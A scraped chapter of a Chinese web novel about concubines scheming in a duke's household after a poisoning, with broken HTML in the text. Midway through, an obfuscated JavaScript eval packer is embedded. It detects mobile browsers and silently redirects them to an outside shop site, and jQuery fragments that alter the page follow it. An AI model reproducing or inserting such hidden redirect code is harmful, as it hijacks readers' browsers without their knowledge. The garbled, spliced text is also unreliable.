“恕我无能,没有查出下毒之人,甘愿接受国公的任何处罚!”
傍晚时分,齐嬷嬷来到“秋枫阁”,向魏泰山主动请罪。
“呜呜呜……”
魏泰山还没开口,被他搂在怀里的五姨娘先哭了起来。
齐嬷嬷面不改色。
魏泰山皱了皱眉,进退维谷。
罚,他当然于心不忍,可若是不罚,没法向五姨娘交代。
除此外,他还疑窦暗生。
以齐嬷嬷的能力和手段,不可能查不出下毒之人是谁来,除非,她不愿意查,或者已经查出,但碍于对方的身份,不能揭穿。
不管是哪一种,于公于私,都要小以惩戒,这件事才能翻篇。
于是,魏泰山挥了挥手,对齐嬷嬷说道:“扣除这月的月钱。”
“夫君。”
这时,五姨娘又开口了,她凝眉望着魏泰山,虚弱地说:“齐嬷嬷虽未能查出害我之人,可她毕竟是府里的老人,如此惩罚,委实太重,只罚半月可好?”
“好!全听文娟你的。”魏泰山忙不迭失点了点头。
“谢过五姨娘!谢过国公!”
齐嬷嬷不冷不热地屈膝道谢。
待她离去后,五姨娘轻抚着魏泰山的胸口,撒娇道:“有夫君陪着,便不敢有人再害我了。”
魏泰山但笑不语。
他似乎也弄清楚了,为何齐嬷嬷查不出下毒之人是谁了。
“夫君,你好久都没疼过人家了?是嫌我年老色衰了吗?”
忽然,五姨娘把手伸进了魏泰山的衣襟里,另一只手也没闲着,慢慢摸了下去。
魏泰山一个激灵,又听她嗔怪:“你现在是有了新欢忘了旧人。”
唰——
魏泰山搂着她一个翻身,把她压在了下面,然后吻住了她的唇,用实际行动打消她的顾虑。
以及,抚平后宅的暗涌。
“夫君还住在五姐那里?”
两日后,其他几房坐不住了,再次相聚在三房所在的“春山阁”,讨论着五姨娘中毒的事。
还是六姨娘最先开口,“我找人问过,说她中毒不深,早该好了,为何夫君还留在她那里?”
“据说,是齐嬷嬷的注意。”四姨娘接话。
“什么?”
六姨娘愕然瞠目,难以置信地看着她,“齐嬷嬷为何要这么做?”
四姨娘猜测:“兴许是还个人情吧,据说她没能查出下毒之人,夫君本来要扣掉她这月的月钱,最后是五妹说情,才改为半月。”
“她倒是挺懂人情世故。”三姨娘哂笑。
六姨娘也露出了鄙夷的笑容,“她要不懂,能在府里待到现在?还掌管中馈?”
四姨娘点点头,赞成二人的话,但也道出了自己的疑惑:“我只是想不明白,她从前向来端水很稳,谁都不偏,即便欠了哪房的人情,也会通过其他方式来还,而非帮忙争宠。”
“或许……”
三姨娘幽暗的眸光闪了闪,“跟卉儿有关。”
“她在帮卉儿成为七姨娘提前铺路!”六姨娘急忙接话。
四姨娘瞬间变脸,变得忐忑起来。
几房当中,原本她和五姨娘的地位相当,论资排辈,比不上二房三房,又没六房年轻,可现如今,对方得到齐嬷嬷的支持,摇身一变,成了最受宠的一房,衬得自己愈发黯然。
不能这样!
她目光一凛,旋即说道:“真有人下毒的话,以齐嬷嬷的本事,能查不出来?”
另外二人同时一怔。
她又道:“即便她真的查不出来,那夫君呢,能放任此事不管?”
闻言,另外二人更是相顾失色。
她见目的达到了,便不再吭声,继续埋首品茗。
暖室里瞬间变得安静,唯有接连不断的啜饮声……
“大家都低估了辛文娟,还以为她是府里最老实的,却不想,她藏得最深。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14190550|150735||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
今日休沐,许如仙也拉着魏朗月陪自己在暖室内品茗闲聊。
她看似被排挤在外,实则眼观六路耳听八方,对府内发生的大小事一概不会落下,自然清楚五姨娘借由中毒复又得宠之事。
魏朗月点点头,也有些意外。
为了争宠,以身试险,对自己都如此狠辣,想必对他人更会不择手段。
“五弟眼见着就要上学堂了。”他意味深长地说道。
“是呀。”
许如仙自然听懂了儿子话里有话,“那小家伙跟她娘一样,看着平平无奇,但那双滴溜儿转的眼珠子却出卖了他,不如他娘会装。”
“毕竟年幼,待他再年长一些,兴许是几个弟弟里面最……”
他戛然而止,突然意识到如此议论幼弟,着实不好。
随即,他换了个话题:“岳母给玉岫来信了。”
“哦?写了什么?”许如仙问。
魏朗月已把信封还原交由小翡了,但他还记得信里的内容。
“侯爷对玉岫的所作所为感到失望,岳母现在也自身难保,没法给予玉岫更多帮助了,只望她别再生出事端,先养好身体,从长计议。”
“呵!”
许如
仙听笑了,“江玉岫这是被娘家放弃了。”
“什么?”
此刻,江玉岫正在看那封信,她简直不敢相信,仅因一件小事,竟让父亲被公公要挟,一下拿出十万两黄金来堵住对方的嘴。
但比起侯府损失的钱财,她更为自己的处境焦虑。
“我连最后的倚仗都失去了,往后的路该怎么走啊?”
“要我再死一次吗?”
“可再死一次,还能重来吗?”
她感到无比沮丧和绝望。
“不!还有希望,只要活着,就有希望。”
半晌后,她想起一人来,顿时精神抖擞,宛如打了鸡血。
“我怎么把他给忘了?”